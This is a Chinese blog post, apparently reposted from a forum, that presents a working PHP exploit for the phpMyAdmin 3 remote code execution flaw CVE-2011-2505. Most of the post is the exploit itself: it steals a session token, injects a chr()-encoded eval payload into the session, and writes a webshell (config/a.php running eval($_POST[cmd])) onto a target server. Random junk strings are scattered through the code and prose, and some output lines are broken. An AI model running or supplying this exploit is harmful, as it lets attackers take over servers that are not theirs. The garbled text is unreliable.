phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
) {8 h- C# {2 a/ ]2 L
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
5 w. {' _2 }7 _二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：
* n! u: i1 ~0 R! H
+ K. f% T1 Q  h& Y% _# Y#!/usr/bin/php
<?php
print_r('
3 x1 H, P( O1 u: t" z) u+ M$ {( C+---------------------------------------------------------------------------+
) E! r* J& s5 U/ \pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
" F- E+ L/ J/ {6 n" Z( N& p  Q  E' Uwelcome to www.t00ls.net
$ k. n" i6 p( w5 {! g" [7 Ymail: oldjun@gmail.com
6 P3 Z0 H# I; P7 _- F! n* m, QAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
  V: A3 ]9 O+ `2 e; O! K');
5 y5 g/ d8 \. f
0 O; c( i& C' e. d4 j/**
* working when the directory:"config" exists and is writeable.
* e, p  g7 S% A. A. H**/
6 W; z- s! o# n% U4 C
if ($argc < 3) {
    print_r('
5 O7 S0 i* n  }+ j' |/ _+---------------------------------------------------------------------------+
% u% Q+ F% B5 `2 m' `3 ^; v+ wUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
: N* E/ M  V! I0 r+ J% P4 x8 A& q');
    exit;
% {  g6 y4 J" b' {}
  m; d7 E: Y* N8 o& x3 V
$host = $argv[1];
& r+ z6 Y& H  u6 @. `5 |0 u# Q9 ?$path = $argv[2];
) X, d* f0 V: O2 X  U5 b
7 q! K& g! V( A( k) j4 [& E/**
* Try to determine if the directory:"config" exists
; M$ T9 e3 e. S" K# G**/
echo "[+] Try to determine if the directory:config exists....\n";
, z$ P2 j& j( ]$ y& t  h$returnstr=php_request('config/');
4 I; u( w" e! k- q& s6 Aif(strpos($returnstr,'404')){
! y/ \* L- ?  z4 Z% i    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

# |1 v$ V0 D5 K2 h# ?/**
* Try to get token and sessionid
2 M( z* o; T/ B**/
echo "[+] Try to get token and sessionid....\n";
. ^9 B6 O0 n8 [2 m7 B% @0 {& o$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
( U& A0 B4 S3 ?* N9 R" j( k" g$sessionid=$resp[1];
& S. _) V8 a, o. w( Dif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
# }$ R( A! a+ h}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
2 `( H/ ?- T2 l. F/ i% E}

4 m! F! v6 t+ `* Y9 u/**
* Try to insert shell into session
* n8 Q8 h/ P, a3 M0 t7 ^**/
6 ~+ Z) X6 B% l8 |: U1 cecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
2 x" Q* ~) j6 [& z' G( [1 ?
9 r8 W9 t/ I* Q' O7 V% X3 o0 V/**
4 F$ I% U7 j" Q: f6 f0 ]- w * Try to create webshell
& K5 c( T/ ?" b. K2 f**/
9 G! c0 J5 M% t: o) |echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
5 \6 p) B; h8 p$ P5 ]) g4 j2 u$ {8 ? * Try to check if the webshell was created successfully
6 _: K' t7 ]( n. x, w**/
  ?' `% G/ P' L) O# O3 o5 ^& jecho "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
$ x( a: N. j; y" H1 F7 M    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
* v9 d: k9 U, o+ S3 S9 V& F* j}else{
' N, _. P, r+ G% d    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function php_request($url,$data='',$cookie=''){
- R8 u) p, ~/ K2 A  j, t9 F    global  $host, $path;
   
    $method=$data?'POST':'GET';
! ?# k5 S1 \# c7 V! E3 c   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
  x% _) Q  N/ V+ h, L" p    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
2 x/ V2 J! ?6 t# F    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
6 ~/ K+ k  r4 y* P, {0 G! P& x7 p
    $fp = fsockopen(gethostbyname($host), 80);
& G( D) b& @( y/ E6 O; R) ~% s+ b    if (!$fp) {
    echo 'No response from '.$host; die;
& k2 I& y) @. R2 c9 p$ a1 w    }
$ k, J- b9 \% D& U2 D    fputs($fp, $packet);
5 h. K- a# X% @0 }
! M# g4 s, d  |# c: g  W    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
. ]( ?; F% [0 m9 v/ Q0 h) Q" q
! Q% C6 u& u* e! Z: i1 G    return $resp;
4 E% z; `" Q% s- e& Y}
   
1 H' s9 t8 ?# `* I?>
.